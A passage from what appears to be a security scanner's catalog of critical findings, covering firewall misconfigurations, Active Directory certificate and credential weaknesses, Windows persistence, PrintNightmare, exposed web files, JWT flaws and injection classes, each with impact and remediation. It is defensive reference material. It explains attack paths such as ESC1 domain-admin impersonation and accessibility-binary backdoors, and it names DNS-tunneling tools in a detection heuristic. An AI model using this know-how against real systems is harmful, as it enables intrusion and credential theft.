Impact: Full data exfiltration and full-duplex C2 channel through the captive portal without any authentication. The attacker gains arbitrary internet access, can exfiltrate sensitive data, and can serve as a pivot for lateral movement. Portal billing/AAA is completely bypassed. Detection requires DNS payload inspection that most captive portal implementations lack.
Remediation: Restrict pre-auth DNS to the captive portal's own resolver answering only for the portal's hostname (walled-garden DNS). Additionally deploy DNS query length / entropy monitoring to detect tunneling attempts (queries with high-entropy subdomains >30 chars are characteristic of iodine/dnscat traffic). Consider a DNS sinkhole for unknown external resolvers.
Effort: Moderate
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1071.004 (Command and Control), T1572 (Command and Control), T1048.003 (Exfiltration)
NIST 800-53: AC-3, AC-4, SC-7, SI-4
PCI DSS 4: 1.2.1, 1.4.2, 11.5.1
CRITICAL AETHER-EAPTLS-002 — Client Supplicant Fails to Validate Server Certificate (Evil Twin Succeeds Against EAP-TLS)
Description: An evil-twin rogue AP with a self-signed cert successfully attracted a client supplicant which proceeded past server-cert validation. Even though EAP-TLS's cert exchange is bidirectional, the client should have rejected the unknown server cert. This indicates the client's 'Validate server certificate' setting is disabled, OR the trust store accepts the rogue self-signed cert (e.g., set to 'any CA').
Impact: Defeats the entire benefit of EAP-TLS. The attacker can capture the client's identity, fingerprint the client device, and in PEAP/TTLS configurations capture credentials. The vulnerable client cannot distinguish the corp RADIUS from the rogue AP.
Remediation: Push a hardened supplicant configuration to all clients via MDM/GPO: 'Validate server certificate' = ON; CA pinned to specific public-CA root or internal CA cert thumbprint; reject any cert signed by an unknown CA. Audit current client configurations and remediate non-compliant devices.
Effort: Moderate
NIST 800-53: IA-2, IA-5
CRITICAL BA-001 — No Default-Deny Rule at End of Policy
Description: No explicit default-deny (implicit permit-all) rule exists at the end of the access control list or policy group. Traffic not matching any rule is permitted rather than dropped.
Impact: Unintended traffic flows reach internal systems. Attackers can exploit missing coverage to access systems that policy authors assumed were protected.
Remediation: 1. Add an explicit 'deny ip any any log' rule as the final entry in every ACL. 2. Ensure the deny-all rule includes logging to capture all traffic hitting the implicit deny. 3. Review all traffic flows to confirm intended rules precede the default deny. 4. Test the rule using traffic simulation before deploying to production.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7(5)
CRITICAL BA-002 — Any-Any-Any Permit Rule Detected
Description: A firewall rule permits all traffic from any source to any destination on all ports and protocols. This is the most dangerous firewall misconfiguration possible.
Impact: The firewall provides no access control. All traffic is permitted regardless of source, destination, or protocol.
Remediation: 1. Immediately remove or disable the any-any permit rule. 2. Implement principle of least privilege — only permit required traffic flows. 3. Document all required flows before rebuilding the policy. 4. Use a test environment to validate replacement rules before deploying.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-007 — RDP Permitted from Any Source
Description: A firewall rule permits Remote Desktop Protocol (RDP, TCP 3389) inbound from any source address. RDP is one of the most commonly exploited services for ransomware and lateral movement.
Impact: Exposed RDP is a primary attack vector for ransomware gangs, APT groups, and commodity attackers. Authentication bypass vulnerabilities (BlueKeep, DejaBlue) regularly affect RDP.
Remediation: 1. Immediately restrict RDP access to specific management IP ranges. 2. Place RDP behind a VPN or RDP Gateway. 3. Enable Network Level Authentication (NLA). 4. Implement account lockout policies. 5. Consider replacing RDP with a zero-trust remote access solution.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-011 — SMB Permitted from External Sources (TCP 445)
Description: A firewall rule permits SMB (TCP 445) from external/untrusted sources. SMB is the primary protocol used by ransomware (WannaCry, NotPetya, EternalBlue) for lateral movement.
Impact: Exposed SMB is the most common ransomware infection vector. EternalBlue and related exploits are still widely used in ransomware campaigns. SMB exposure directly enables catastrophic data encryption attacks.
Remediation: 1. Immediately block TCP 445 from all untrusted sources. 2. Block UDP 137-138 and TCP 139 (NetBIOS) as well. 3. Audit internal SMB to ensure it is restricted to required segments. 4. Implement host-based firewall rules in addition to network firewall. 5. Keep Windows systems patched against EternalBlue.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-017 — Database Ports Exposed to External Sources
Description: A firewall rule permits database service ports (MySQL TCP 3306, MSSQL TCP 1433, PostgreSQL TCP 5432, Oracle TCP 1521) from external or untrusted sources.
Impact: Direct database exposure enables SQL injection amplification, credential brute-force against database authentication, and direct data exfiltration. Databases should never be directly internet-accessible.
Remediation: 1. Immediately block all database ports from untrusted sources. 2. Place databases in a dedicated database VLAN accessible only from application servers. 3. Implement database activity monitoring (DAM). 4. Use application-layer database proxies where possible.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-018 — Elasticsearch Exposed to External Sources (TCP 9200/9300)
Description: A firewall rule permits Elasticsearch (TCP 9200 HTTP API or 9300 transport) from external or untrusted sources. Elasticsearch has no authentication by default.
Impact: Unauthenticated Elasticsearch instances have led to some of the largest data breaches in history. All indexed data is accessible to anyone who can reach port 9200.
Remediation: 1. Immediately block TCP 9200 and 9300 from all untrusted sources. 2. Enable Elasticsearch security features (X-Pack/Security). 3. Implement TLS and authentication. 4. Place Elasticsearch behind a reverse proxy with authentication.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-019 — Redis/Memcached Exposed to External Sources
Description: A firewall rule permits Redis (TCP 6379) or Memcached (TCP/UDP 11211) from external sources. Both services have no authentication by default.
Impact: Unauthenticated Redis allows full data access and remote code execution via EVAL command. Memcached exposure enables data theft and the service has been abused for massive DDoS amplification attacks.
Remediation: 1. Immediately block TCP 6379 and 11211 from untrusted sources. 2. Enable Redis AUTH and bind to localhost or internal addresses only. 3. Disable Memcached UDP to prevent amplification abuse. 4. Place caching services behind application tier — never expose externally.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-024 — Management Access Not Restricted to Management Zone
Description: Firewall management interfaces (HTTPS, SSH, ASDM) are accessible from any source address, including untrusted networks.
Impact: Unrestricted management access exposes the firewall administrative interface to brute-force attacks, credential stuffing, and exploitation of management interface vulnerabilities.
Remediation: 1. Restrict all management access to a dedicated out-of-band management network. 2. Block all management protocol access from non-management networks. 3. Implement management VLAN with strict access controls. 4. Enable failed login lockout on management interfaces.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-026 — Telnet Used for Device Management
Description: Telnet is enabled as a device management protocol. Telnet provides no encryption, authentication challenge-response visibility, or integrity protection.
Impact: All management commands, including configuration changes and credentials, are transmitted in cleartext. An attacker with network access can capture and replay management sessions.
Remediation: 1. Immediately disable Telnet on all devices. 2. Enable SSH version 2 as the sole remote management protocol. 3. Configure SSH with strong cipher suites and MAC algorithms. 4. Remove Telnet from all device configurations.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-8
CRITICAL BA-027 — No Source Restriction on SSH/HTTPS Management Access
Description: SSH or HTTPS management access is configured without a source IP restriction, allowing management access from any network.
Impact: Management access from any source dramatically increases the attack surface for brute-force attacks, credential stuffing, and exploitation of management interface vulnerabilities.
Remediation: 1. Implement source IP restrictions for all management protocols. 2. Create an explicit management ACL restricting access to management workstation IPs. 3. Use an out-of-band management network where possible.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-031 — No Logging Configured — Complete Forensic Blind Spot
Description: No firewall rules in this configuration have logging enabled. The firewall is operating without any security event logging, creating a complete forensic blind spot.
Impact: Without any logging, the organisation cannot detect attacks, investigate incidents, demonstrate compliance, or understand traffic patterns. This is a fundamental security control failure.
Remediation: 1. Immediately enable logging on all permit rules. 2. Enable logging on the default-deny rule. 3. Configure syslog forwarding to a SIEM. 4. Define a log retention policy (minimum 90 days online, 1 year archived). 5. Establish a log review process.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
NIST 800-53: AU-2, AU-12
CRITICAL BA-047 — Cato WAN Firewall: Any-Any Permit Rule
Description: A WAN firewall rule permits all traffic with no source, destination, or service restrictions across SD-WAN sites.
Impact: Unrestricted site-to-site traffic bypasses intended network segmentation, allowing lateral movement between all connected sites.
Remediation: Replace any-any rules with specific site-to-site policies. Define explicit allowed traffic per application and direction.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-053 — Executive Env: Guest Network Not Isolated from Corporate
Description: Guest/visitor wireless or network segment can communicate with corporate resources. Executive environments are high-value targets and guests must have zero access to internal segments.
Impact: A threat actor, journalist, or corporate spy posing as a visitor could pivot from the guest network to executive communications, email systems, or board-level documents.
Remediation: 1. Isolate guest VLAN with deny-all to all corporate subnets. 2. Permit only internet-bound traffic from guest segment. 3. Implement client isolation on guest wireless. 4. Log all guest traffic to a SIEM.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
NIST 800-53: SC-7
CRITICAL BA-057 — Executive Env: Logging Disabled on Rules Covering Executive Subnets
Description: Permit rules covering identified executive subnets have logging disabled, creating a forensic blind spot in the highest-value segment of the network.
Impact: Without logging on executive network segments, security teams cannot detect or investigate threats targeting the most sensitive users and data in the organisation.
Remediation: Enable logging on ALL rules that permit traffic to or from executive subnets. Route logs to immutable SIEM storage. Set alerts for anomalous connection patterns.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
NIST 800-53: AU-2, AU-12
CRITICAL DR-ADCS-001 — ADCS: ESC1 - Misconfigured Certificate Template
Description: A certificate template allows enrollees to specify a Subject Alternative Name (SAN) in the certificate request, AND low-privileged users can enroll, AND the template has an EKU that permits authentication (Client Authentication, PKINIT, Smart Card Logon, or any purpose). This is the ESC1 attack vector identified by SpecterOps.
Impact: Any low-privileged domain user can request a certificate with an arbitrary SAN (e.g., specifying a Domain Admin UPN). This certificate can then be used for Kerberos authentication as the impersonated user, achieving complete domain compromise without needing to know the target user's password. This is the most commonly exploited ADCS vulnerability.
Remediation: Disable 'Supply in the request' option on the Subject Name tab of vulnerable certificate templates. Instead, configure 'Build from Active Directory information'. Restrict enrollment permissions to only the users/groups that require the template. Remove unnecessary EKUs (especially 'Any Purpose'). Consider removing the template entirely if not operationally required. Audit with: certutil -v -template | findstr /i 'CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT'.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1649 (Credential Access)
NIST 800-53: IA-5, AC-6, SC-17
PCI DSS 4: 4.2.1, 7.1.1, 8.3.1
CISA KEV
CRITICAL DR-ADCS-005 — ADCS: ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
Description: The Certificate Authority has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled. This CA-level configuration allows ANY certificate requester to specify an arbitrary Subject Alternative Name (SAN) in their request, regardless of template settings. This effectively makes every authentication template on this CA vulnerable to ESC1.
Impact: With this flag enabled, any domain user who can enroll in any template with an authentication EKU can specify an arbitrary SAN, impersonating any user in the domain including Domain Admins. This is a CA-wide misconfiguration that bypasses per-template SAN controls — fixing individual templates does not mitigate this issue. A single CA with this flag compromises the entire domain.
Remediation: Disable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag on the CA: certutil -config "CA\CAName" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2. Restart the CA service: net stop certsvc && net start certsvc. Verify: certutil -config "CA\CAName" -getreg policy\EditFlags — the output should NOT include EDITF_ATTRIBUTESUBJECTALTNAME2. After disabling, audit all recently issued certificates for suspicious SAN values.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1649 (Credential Access)
NIST 800-53: IA-5, AC-6, SC-17, CM-6
PCI DSS 4: 4.2.1, 7.1.1
CRITICAL DR-CRED-004 — Credential Exposure: GPP cpassword Exposure
Description: Group Policy Preferences (GPP) XML files containing the 'cpassword' attribute were found in SYSVOL. Microsoft published the AES-256 key used to encrypt these passwords in MSDN documentation, making all cpassword values trivially decryptable by any domain user.
Impact: Any authenticated domain user can read SYSVOL and decrypt GPP passwords using the publicly known AES key. These passwords typically belong to local administrator accounts, service accounts, or scheduled task accounts configured via Group Policy. This is a well-known, trivially exploitable vulnerability that provides immediate privilege escalation in most Active Directory environments.
Remediation: Install MS14-025 (KB2962486) which prevents creation of new GPP passwords. Delete all existing GPP XML files in SYSVOL that contain cpassword attributes. Rotate all passwords that were stored in GPP. Migrate to LAPS or gMSA for local administrator password management. Search SYSVOL: Get-ChildItem -Path '\\domain\SYSVOL' -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml | Select-String 'cpassword'.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1552.006 (Credential Access)
NIST 800-53: IA-5, SC-28, CM-6
PCI DSS 4: 2.2.1, 8.3.1, 8.3.2
CISA KEV
CRITICAL DR-EVT-003 — Event Log: Security Log Cleared
Description: Event log clearing events detected (Event ID 1102/104). Clearing security logs destroys forensic evidence and is a strong indicator of attacker activity or insider threat attempting to cover their tracks.
Impact: Cleared security logs eliminate the audit trail of authentication events, privilege escalation, and policy changes, preventing incident investigation and regulatory compliance verification. This is a common anti-forensics technique.
Remediation: Investigate the account that cleared the logs for compromise. Configure event log forwarding to a SIEM to preserve logs centrally. Restrict log management permissions to dedicated admin accounts. Enable alerting on Event ID 1102.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1070.001 (Defense Evasion)
NIST 800-53: AU-9, SI-4
PCI DSS 4: 10.2.1
CRITICAL DR-HDN-008 — Credential Exposure: WDigest Plaintext Credentials
Description: WDigest authentication is configured to store plaintext credentials in memory (UseLogonCredential set to 1 at HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest).
Impact: An attacker who achieves local administrator access can use tools like Mimikatz to extract plaintext passwords from LSASS process memory for all currently logged-in users, including domain administrators. This enables immediate lateral movement without any cracking.
Remediation: Set UseLogonCredential to 0 at HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest. On Windows 8.1/Server 2012 R2 and later with KB2871997 installed, WDigest plaintext caching is disabled by default. Verify the registry value is explicitly set to 0 to prevent re-enablement by malware.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1003.001 (Credential Access)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.2
CRITICAL DR-PERS-005 — Persistence: Accessibility Feature Modified
Description: One or more Windows accessibility feature binaries (sethc.exe, utilman.exe, osk.exe, narrator.exe, magnify.exe, DisplaySwitch.exe) have been modified or replaced. The modification timestamp does not align with the OS installation date or last Windows Update, indicating potential tampering.
Impact: Replacing accessibility binaries with cmd.exe or a backdoor is a classic persistence technique that provides SYSTEM-level command prompt access from the Windows login screen — before any user has authenticated. An attacker can press Shift five times (sethc.exe), Win+U (utilman.exe), or similar shortcuts to trigger the backdoor. This survives reboots, user password changes, and most remediation attempts short of restoring the original binaries.
Remediation: Restore original accessibility binaries from a known-good source or Windows installation media: sfc /scannow or DISM /Online /Cleanup-Image /RestoreHealth. Verify file hashes against Microsoft published hashes. Investigate as a potential compromise — this finding indicates the system may have been backdoored. Deploy file integrity monitoring on %SystemRoot%\System32\sethc.exe, utilman.exe, osk.exe, narrator.exe, magnify.exe, DisplaySwitch.exe.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1546.008 (Persistence)
NIST 800-53: SI-7, SI-4, AU-6
PCI DSS 4: 5.3.1, 11.5.1, 10.6.1
CRITICAL DR-PROC-001 — Process: Known Malicious Process Detected
Description: One or more running processes match known malicious software signatures in the threat intelligence database. This is a strong indicator of active system compromise requiring immediate incident response.
Impact: Known malicious processes indicate active malware execution. Depending on the malware type (RAT, keylogger, cryptominer, ransomware dropper), the attacker may have full remote access, be exfiltrating data, or preparing for destructive action. The system should be considered compromised.
Remediation: Immediately isolate the system from the network. Capture memory and disk images for forensic analysis before remediation. Identify the malware family and check for persistence mechanisms (scheduled tasks, services, registry run keys, WMI subscriptions). Re-image the system after forensics are complete.
Effort: Major
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1059 (Execution), T1543 (Persistence)
NIST 800-53: SI-3, IR-4
PCI DSS 4: 5.2.1, 11.4.1
CRITICAL DR-PROC-004 — Process: SYSTEM Process in User-Writable Path
Description: One or more processes are running as SYSTEM from user-writable locations (Users, AppData, Downloads, ProgramData, Temp). Legitimate SYSTEM processes run from protected directories (System32, Program Files). This is a strong indicator of privilege escalation or malware with elevated privileges.
Impact: A process running as SYSTEM from a user-writable directory indicates successful privilege escalation. The attacker has achieved the highest local privilege level and can install rootkits, create backdoor accounts, modify security settings, access any file on the system, and pivot to other systems.
Remediation: Immediately investigate: capture memory and disk forensics, identify the privilege escalation vector (service binary hijacking, DLL search order hijacking, unquoted service path). Fix the underlying vulnerability. Deploy WDAC/AppLocker to prevent execution from user-writable paths.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1574.001 (Privilege Escalation), T1574.010 (Persistence)
NIST 800-53: CM-5, AC-6
PCI DSS 4: 6.2.4
CISA KEV
CRITICAL DR-SYS-012 — Service Hardening: PrintNightmare Vulnerable
Description: The system is vulnerable to PrintNightmare (CVE-2021-34527 / CVE-2021-1675). The Print Spooler service is running AND the RestrictDriverInstallationToAdministrators registry key is not set to 1, or the NoWarningNoElevationOnInstall / UpdatePromptSettings Point-and-Print restriction keys are configured unsafely.
Impact: PrintNightmare allows any authenticated user (local or remote) to execute arbitrary code with SYSTEM privileges by exploiting the Print Spooler service's driver installation functionality. This vulnerability was actively exploited in the wild and provides reliable remote code execution. On domain controllers, it enables immediate domain compromise. Multiple exploit variants exist in public tooling.
Remediation: 1) Install all PrintNightmare patches (KB5004945 and later cumulative updates). 2) Set RestrictDriverInstallationToAdministrators=1: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" /v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f. 3) Set NoWarningNoElevationOnInstall=0 and UpdatePromptSettings=0 in the same key. 4) On servers that do not need printing, disable the Print Spooler service entirely: Stop-Service Spooler; Set-Service Spooler -StartupType Disabled. 5) On domain controllers, always disable Print Spooler.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1547.012 (Persistence)
NIST 800-53: CM-6, SI-2, AC-6
PCI DSS 4: 6.3.3, 2.2.1
CISA KEV
CRITICAL FR-020 — WordPress Configuration Backup Exposed
Description: A WordPress configuration backup file (e.g., wp-config.php.bak, wp-config.php~) was found accessible on the web server. These files typically contain database credentials, authentication keys, and salts.
Remediation: Immediately remove all backup and temporary copies of wp-config.php from the web root. Rotate all credentials disclosed. Configure the web server to deny access to .bak, .swp, and ~ files.
OWASP Web: A01:2025
CRITICAL FR-036 — Configuration File Exposed
Description: A configuration file (e.g., .env, config.php, settings.py, database.yml) is publicly accessible. Configuration files typically contain database credentials, API keys, secret keys, and other sensitive values.
Remediation: Remove configuration files from the web root immediately. Store configuration outside the document root. Rotate all exposed credentials.
OWASP Web: A05:2025
CRITICAL FR-037 — Git Repository Exposed
Description: A .git directory or git repository index is accessible from the web root. An attacker can reconstruct the full source code, commit history, and any secrets ever committed.
Remediation: Immediately block access to .git directories via web server configuration. Rotate all credentials ever committed to the repository. Audit git history for secrets.
OWASP Web: A05:2025
CRITICAL FR-040 — Database File Exposed
Description: A database file (e.g., .sqlite, .db, .mdb) is directly accessible from the web server. This exposes the entire database contents to unauthenticated download.
Remediation: Remove all database files from the web root immediately. Store database files outside the document root and restrict filesystem permissions.
OWASP Web: A05:2025
CRITICAL FR-049 — TLS DROWN Vulnerability
Description: The server supports SSLv2, making modern TLS connections vulnerable to the DROWN attack. An attacker can decrypt RSA-encrypted TLS sessions by exploiting SSLv2 export cipher weaknesses.
Remediation: Disable SSLv2 on all servers sharing the same private key. Regenerate private keys if SSLv2 was enabled.
OWASP Web: A02:2025
CRITICAL FR-050 — TLS HEARTBLEED Vulnerability
Description: The server is running a version of OpenSSL vulnerable to Heartbleed (CVE-2014-0160). An attacker can read up to 64KB of server memory per request, potentially extracting private keys, session tokens, and credentials.
Remediation: Upgrade OpenSSL to 1.0.1g or later immediately. After patching, revoke and regenerate all TLS certificates and private keys. Invalidate all active sessions.
OWASP Web: A02:2025
CRITICAL FR-073 — JWT Algorithm Confusion (None Algorithm)
Description: The server accepts JWTs with the algorithm set to 'none', bypassing signature verification entirely. An attacker can forge arbitrary JWT payloads and impersonate any user.
Remediation: Explicitly validate the JWT algorithm on the server side. Reject tokens with 'alg: none'. Use a strict allowlist of permitted algorithms.
OWASP Web: A02:2025
CRITICAL FR-074 — JWT Algorithm Confusion (RS256 to HS256)
Description: The server is vulnerable to JWT algorithm confusion. By changing the algorithm from RS256 to HS256 and signing the token with the public key as the HMAC secret, an attacker can forge valid JWTs.
Remediation: Enforce algorithm validation server-side. Use separate code paths for asymmetric (RS256) and symmetric (HS256) verification. Never use the public key as an HMAC secret.
OWASP Web: A02:2025
CRITICAL FR-075 — JWT Weak HMAC Secret
Description: The JWT HMAC signing secret is weak or uses a common/guessable value. An attacker can brute-force the secret offline and forge arbitrary JWT tokens.
Remediation: Use a cryptographically random secret of at least 256 bits for HMAC-signed JWTs. Store the secret securely and rotate it periodically.
OWASP Web: A02:2025
CRITICAL FR-076 — JWT Signature Not Verified
Description: The server accepts JWTs with an invalid or tampered signature. The server is processing the JWT payload without verifying its integrity, allowing full token forgery.
Remediation: Ensure the JWT verification library is correctly configured to always verify the signature. Never decode without verification.
OWASP Web: A02:2025
CRITICAL FR-079 — JWT kid Header Injection
Description: The JWT 'kid' (Key ID) header parameter is used in an unsafe SQL query or file path lookup without validation. An attacker can inject a SQL payload or path traversal sequence into the kid header to manipulate key selection.
Remediation: Validate and sanitize the 'kid' header value. Use a whitelist of known key IDs. Never use the kid value directly in SQL queries or file system lookups.
OWASP Web: A02:2025
CRITICAL FR-080 — JWT jwk Header Injection
Description: The server trusts the 'jwk' (JSON Web Key) header embedded in the JWT itself for signature verification. An attacker can embed their own public key in the jwk header and sign a forged token with the corresponding private key.
Remediation: Never trust keys embedded in the JWT header. Use only server-side trusted key stores for JWT verification. Ignore or reject tokens with 'jwk' or 'jku' headers unless explicitly required.
OWASP Web: A02:2025
CRITICAL FR-081 — SQL Injection
Description: SQL injection was detected. User-supplied input is incorporated into SQL queries without proper parameterization or escaping. An attacker can manipulate database queries to extract, modify, or delete data, bypass authentication, or execute operating system commands.
Remediation: Use parameterized queries or prepared statements for all database interactions. Never concatenate user input into SQL strings. Apply the principle of least privilege to database accounts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL FR-082 — Blind SQL Injection (Boolean-Based)
Description: Boolean-based blind SQL injection was detected. The application does not return error messages, but its behavior changes based on the truth value of injected conditions, allowing data extraction through binary search.
Remediation: Use parameterized queries or prepared statements. Implement a WAF. Review all database query construction code for unsanitized input.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL FR-083 — Blind SQL Injection (Time-Based)
Description: Time-based blind SQL injection was detected. The server introduces measurable response delays when injected time-delay SQL functions (e.g., SLEEP, WAITFOR DELAY) are executed, confirming SQL injection without visible output.
Remediation: Use parameterized queries or prepared statements. Implement query timeouts and anomaly detection. Review all database interaction code.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL FR-084 — NoSQL Injection
Description: NoSQL injection was detected against a MongoDB, Elasticsearch, or similar NoSQL database. Unsanitized user input is used to construct NoSQL query objects, allowing query manipulation, authentication bypass, and data extraction.
Remediation: Validate and sanitize all user input before using it in NoSQL queries. Use typed query builders and avoid accepting raw operator objects (e.g., $where, $gt) from user input.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
CRITICAL FR-085 — Command Injection (OS Command Injection)
Description: Operating system command injection was detected. User-supplied input is passed to a system shell command without sanitization. An attacker can execute arbitrary OS commands with the privileges of the web server process.
Remediation: Avoid calling OS commands from web applications. If unavoidable, use a whitelist of allowed commands and never pass user input directly to shell functions. Use language-native APIs instead of shell commands.
OWASP Web: A03:2025
CRITICAL FR-086 — Server-Side Template Injection (SSTI)
Description: Server-Side Template Injection was detected. User input is embedded directly into a server-side template (Jinja2, Freemarker, Twig, Velocity, Pebble, etc.) and executed. This can lead to remote code execution on the server.
Remediation: Never render user-controlled data as template code. Escape all user input before inserting into templates. Use sandboxed template environments.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
CRITICAL FR-092 — XML External Entity (XXE) Injection
Description: XML External Entity (XXE) injection was detected. The XML parser processes externally supplied entity references, allowing an attacker to read local files, perform SSRF, or cause denial of service.
Remediation: Disable external entity processing in the XML parser configuration. Use safe XML parsing libraries. If XML must be accepted, validate and strip external entities before parsing.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
OWASP Web: A05:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1083 (Discovery)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
CRITICAL FR-100 — Remote File Inclusion
Description: Remote File Inclusion (RFI) was detected. The application includes or requires files using a URL parameter that can be set to a remote URL, allowing an attacker to inject and execute remote PHP or server-side code.
Remediation: Disable allow_url_include in PHP configuration. Never pass user input to include(), require(), or equivalent file inclusion functions. Use a whitelist of allowed includes.
OWASP Web: A03:2025
CRITICAL FR-101 — Server-Side Request Forgery (SSRF)
Description: Server-Side Request Forgery (SSRF) was detected. The application fetches remote resources at a URL controlled by the attacker. This can be used to access internal services, cloud metadata endpoints (169.254.169.254), or exfiltrate data from internal networks.
Remediation: Validate and whitelist all URLs that the server is allowed to fetch. Block requests to private IP ranges, loopback addresses, and cloud metadata endpoints. Implement egress filtering at the network level.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A10:2025
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1190 (Initial Access), T1552.005 (Credential Access)
NIST 800-53: SI-10, SC-7
PCI DSS 4: 6.2.4
CRITICAL FR-102 — SSRF via Cloud Metadata Endpoint Access
Description: SSRF was exploited to access the cloud provider's instance metadata service (AWS 169.254.169.254, GCP metadata.google.internal, Azure metadata endpoint). This can expose IAM credentials, instance configuration, and other sensitive metadata.
